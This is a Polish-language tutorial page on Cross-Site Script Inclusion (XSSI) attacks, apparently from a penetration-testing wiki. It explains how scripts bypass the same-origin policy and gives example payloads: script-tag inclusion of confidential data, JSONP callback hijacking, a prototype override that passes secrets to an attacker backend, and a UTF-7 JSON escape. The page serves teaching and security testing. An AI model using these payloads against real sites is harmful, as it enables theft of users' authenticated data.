XSSI (Cross-Site Script Inclusion)

Reading time: 5 minutes

Podstawowe informacje

Cross-Site Script Inclusion (XSSI) to luka, która wynika z natury tagu script w HTML. W przeciwieństwie do większości zasobów, które podlegają Same-Origin Policy (SOP), skrypty mogą być dołączane z różnych domen. To zachowanie ma na celu ułatwienie korzystania z bibliotek i innych zasobów hostowanych na różnych serwerach, ale wprowadza również potencjalne ryzyko bezpieczeństwa.

Kluczowe cechy XSSI:

• Obejście SOP: Skrypty są zwolnione z Same-Origin Policy, co pozwala na ich dołączanie między domenami.
• Ekspozycja danych: Atakujący może wykorzystać to zachowanie do odczytu danych załadowanych za pomocą tagu script.
• Wpływ na dynamiczny JavaScript/JSONP: XSSI jest szczególnie istotne dla dynamicznego JavaScriptu lub JSON with Padding (JSONP). Technologie te często wykorzystują informacje "ambient-authority" (takie jak ciasteczka) do uwierzytelniania. Gdy żądanie skryptu jest wysyłane do innego hosta, te dane uwierzytelniające (np. ciasteczka) są automatycznie dołączane do żądania.
• Wycieki tokenów uwierzytelniających: Jeśli atakujący może oszukać przeglądarkę użytkownika, aby zażądała skryptu z serwera, który kontroluje, może uzyskać dostęp do wrażliwych informacji zawartych w tych żądaniach.

Typy

1. Statyczny JavaScript - To reprezentuje konwencjonalną formę XSSI.
2. Statyczny JavaScript z uwierzytelnianiem - Ten typ jest odmienny, ponieważ wymaga uwierzytelnienia do uzyskania dostępu.
3. Dynamiczny JavaScript - Dotyczy JavaScriptu, który dynamicznie generuje treść.
4. Nie-JavaScript - Odnosi się do luk, które nie dotyczą bezpośrednio JavaScriptu.

Poniższe informacje są podsumowaniem https://www.scip.ch/en/?labs.20160414. Sprawdź to, aby uzyskać więcej szczegółów.

Regularne XSSI

W tym podejściu prywatne informacje są osadzone w ogólnodostępnym pliku JavaScript. Atakujący mogą identyfikować te pliki za pomocą metod takich jak odczyt plików, wyszukiwanie słów kluczowych lub wyrażenia regularne. Po zlokalizowaniu skryptu zawierającego prywatne informacje można go dołączyć do złośliwej treści, co umożliwia nieautoryzowany dostęp do wrażliwych danych. Przykład techniki wykorzystania pokazano poniżej:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI i Authenticated-JavaScript-XSSI

Te typy ataków XSSI polegają na dynamicznym dodawaniu poufnych informacji do skryptu w odpowiedzi na żądanie użytkownika. Wykrywanie można przeprowadzić, wysyłając żądania z i bez ciasteczek oraz porównując odpowiedzi. Jeśli informacje się różnią, może to wskazywać na obecność poufnych danych. Proces ten można zautomatyzować za pomocą narzędzi takich jak DetectDynamicJS rozszerzenie Burp.

Jeśli poufne dane są przechowywane w zmiennej globalnej, można je wykorzystać za pomocą podobnych metod jak w Regular XSSI. Jednak jeśli poufne dane są zawarte w odpowiedzi JSONP, atakujący mogą przejąć funkcję zwrotną, aby uzyskać te informacje. Można to zrobić, manipulując obiektami globalnymi lub ustawiając funkcję do wykonania przez odpowiedź JSONP, jak pokazano poniżej:

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Dla zmiennych, które nie znajdują się w globalnej przestrzeni nazw, manipulacja prototypem może czasami być wykorzystana. Technika ta wykorzystuje projekt JavaScriptu, w którym interpretacja kodu polega na przeszukiwaniu łańcucha prototypów w celu zlokalizowania wywoływanej właściwości. Poprzez nadpisanie niektórych funkcji, takich jak Array's slice, atakujący mogą uzyskać dostęp do zmiennych nieglobalnych i je ujawniać:

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Dalsze szczegóły dotyczące wektorów ataku można znaleźć w pracy badacza bezpieczeństwa Sebastiana Lekiesa, który prowadzi listę wektorów.

Non-Script-XSSI

Badania Takeshiego Terady wprowadzają inną formę XSSI, w której pliki Non-Script, takie jak CSV, są wyciekane między źródłami poprzez włączenie ich jako źródła w tagu script. Historyczne przypadki XSSI, takie jak atak Jeremiah Grossmana z 2006 roku na odczytanie całej książki adresowej Google oraz wyciek danych JSON Joe Walkera z 2007 roku, podkreślają powagę tych zagrożeń. Dodatkowo, Gareth Heyes opisuje wariant ataku z wykorzystaniem kodowania UTF-7 w JSON, aby uciec od formatu JSON i wykonać skrypty, skuteczny w niektórych przeglądarkach:

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]

<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>